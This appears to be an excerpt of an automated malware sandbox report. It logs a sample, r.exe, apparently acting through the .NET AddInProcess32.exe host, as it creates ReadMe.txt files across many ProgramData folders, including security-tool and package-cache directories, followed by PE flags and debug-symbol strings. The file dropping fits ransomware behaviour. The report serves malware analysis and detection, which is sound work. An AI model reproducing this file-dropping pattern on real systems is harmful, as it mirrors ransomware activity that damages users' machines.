                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\MpPayloadData\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Support\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender Advanced Threat Protection\Temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender Advanced Threat Protection\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\ActivityLog\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Common Coverpages\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Common Coverpages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Inbox\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\Queue\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\SentItems\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Security Health\Logs\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Security Health\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WinMSIPC\Server\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WinMSIPC\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WwanSvc\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft Help\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft OneDrive\setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft OneDrive\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\Java\installcache\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\Java\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Oracle\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\vcRuntimeMinimum_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\packages\vcRuntimeMinimum_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{19F7E289-17B8-44EC-A099-927507B6F739}v14.21.27702\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\packages\vcRuntimeAdditional_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\vcRuntimeMinimum_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\ReadMe.txtJump to behavior
                      Source: r.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                      Source: Binary string: unknowndll.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000425D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: Reflow.pdbRR source: Data1.cab.1.dr
                      Source: Binary string: shfolder.pdbL source: AddInProcess32.exe, 00000001.00000002.637890689.000000000429F000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: PDDom.pdbiiH source: Data1.cab.1.dr
                      Source: Binary string: SaveAsRTF.pdbUU source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\armsvc.pdb A source: Data1.cab.1.dr
                      Source: Binary string: Accessibility.pdbpp source: Data1.cab.1.dr
                      Source: Binary string: Accessibility.pdb source: Data1.cab.1.dr
